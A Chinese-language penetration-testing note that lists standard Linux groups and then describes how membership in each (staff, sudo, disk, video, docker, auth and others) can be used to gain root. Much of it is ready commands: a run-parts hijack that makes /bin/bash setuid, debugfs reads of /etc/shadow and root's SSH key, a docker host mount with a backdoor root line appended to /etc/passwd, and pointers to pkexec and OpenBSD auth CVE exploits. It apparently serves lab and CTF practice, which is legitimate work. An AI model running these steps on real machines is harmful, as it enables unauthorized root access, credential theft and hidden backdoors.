[toc]
组的介绍
Linux为了便于权限的管理,加入了许多组
👤 用户与管理相关
| 组名 | 用途说明 |
| ——————— | ———————————————————– |
| root | 超级用户组,拥有系统最高权限。 |
| users 或 user | 默认普通用户组。 |
| staff | 允许成员在 /usr/local
下安装软件等较宽松操作。 |
| wheel | 传统上用于允许成员使用 su
切换到 root(在某些发行版中)。 |
| sudo | 允许成员通过 sudo
获取管理员权限(Debian/Ubuntu 系列)。 |
💾 文件系统与存储
| 组名 | 用途说明 |
| ———- | ——————- |
| disk | 访问本地磁盘设备。 |
| tape | 访问磁带机设备。 |
| floppy | 访问软盘驱动器。 |
| cdrom | 挂载/访问光驱设备。 |
🌐 网络与设备
| 组名 | 用途说明 |
| ———– | —————————————– |
| netdev | 管理网络设备。 |
| plugdev | 允许用户挂载和使用可移动设备(如 U 盘)。 |
| lp | 打印机设备访问。 |
| scanner | 扫描仪设备访问。 |
🛠 服务和安全
| 组名 | 用途说明 |
| ———- | ———————————– |
| adm | 系统日志读取权限(如 /var/log
)。 |
| sys | 系统设备管理相关操作。 |
| daemon | 系统服务进程的默认组。 |
| mail | 邮件服务相关。 |
| games | 游戏相关文件访问权限。 |
📌 其他常见组
| 组名 | 用途说明 |
| ———- | ——————————- |
| audio | 访问音频设备。 |
| video | 访问视频设备(如摄像头)。 |
| input | 输入设备访问(键盘、鼠标)。 |
| docker | 允许使用 Docker 命令无需 sudo。 |
| kvm | 访问 KVM 虚拟化功能。 |
组的利用
staff组
staff组可以向`/usr/local/bin
或 /usr/local/sbin
写入,而如果类似/usr/local/sbin
的环境变量靠前,就可以考虑环境变量劫持
在 debian 发行版中,$PATH
变量显示 /usr/local/
将作为最高优先级运行,无论您是否是特权用户
所以当遇到debian系机子,并且用户又是staff组时,就可以打提权
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
如果我们有这样一个一定会在某种条件下运行的程序,就可以写一个跟这个程序名字相同的木马,将其放到/usr/local/bin下,当条件触发时,系统来环境变量中找这个程序时,首先找到并使用的就是我们的恶意木马。
劫持run-parts是一种比较容易获得root 的方法,因为大多数程序都会运行一个run-parts
,比如 (crontab,当 ssh 登录时)。
什么是run-parts
run-parts
是一个 Linux/Unix 命令行工具,主要功能是:
- 批量运行指定目录下的 所有可执行文件。
- 按文件名的字典顺序执行。
- 它不会递归子目录,只运行当前目录下的文件。
当ssh登录时,系统以root权限处理定时任务,进而使用run-parts,所以此时的run-parts短暂拥有root权限,只要在这个时候把bash设置成suid程序,后续就可以拿到root权限的bash
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash
# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts
# 0x3 start a new ssh sesstion to trigger the run-parts program
# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15 2017 /bin/bash
# 0x5 root it
$ /bin/bash -p
sudo/admin组
method 1
有时 , 默认情况下(或者因为某些软件需要它) 在 /etc/sudoers 文件中,你可以找到以下一些行:
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
只需要执行sudo su即可成为root
method 2
查看Pkexec是否是suid文件
pkexec "/bin/sh"
但个人觉得这个命令应该不会太靠谱,如果pkexec版本低于0.105,还是建议打CVE-2021-4034
如果收到以下报错
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
可能是因为没有GUI的情况下无法连接,需要两个终端
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
wheel组
有时 , 默认情况下 ,在 /etc/sudoers 文件中,您可以找到以下行:
%wheel ALL=(ALL:ALL) ALL
sudo su即可成为root(这个时候输密码是检查你是否属于wheel组,用自己的密码即可
shadow组
这个组的用户可以读取/etc/shadow文件,可以尝试用hashcat或者在线网站去破解一些哈希值
Disk组
这个组基本相当于一个root
df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
debugfs
是 ext2/ext3/ext4 文件系统的调试工具。
作用:以 低级方式访问文件系统,可以绕过 Linux 文件权限检查。
打开后,你就进入了 debugfs 交互模式。
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
也就是说这玩意可以绕过一些权限检查,看到一些东西,也可以写,只是不能写入root所有
Video组
有权查看屏幕输出。基本上你可以观察屏幕。为此,需要以原始数据抓取屏幕上的当前图像并获得屏幕正在使用的分辨率。屏幕数据可以保存在 /dev/fb0
中
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
要打开原始图像,可以使用 GIMP, 选择 screen.raw
文件并选择作为文件类型 原始图像数据 :
root组
查看root组可以修改的内容(通过修改一些东西辅助提权?
find / -group root -perm -g=w 2>/dev/null
docker组
这个组的利用比较有意思,一种用法就是将/目录挂载到docker里,然后从docker里拿信息
docker image #Get images from the docker service
#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
另外一种用法是之前打靶场遇到的,主机的某个目录挂载到docker中,然后主机将bash复制到共享目录,docker中的root再给bash赋权
adm组
这个组可以查看/var/log/中的日志
auth组
auth组通常可以写入/etc/skey和/var/db/yubikey,可以打cve-2019-19520
https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot
- CVE-2019-19520 → 利用 xlock 提升到
auth
组权限
- CVE-2019-19520 → 利用 xlock 提升到
- CVE-2019-19522 → 利用 S/Key 或 YubiKey 提升到 root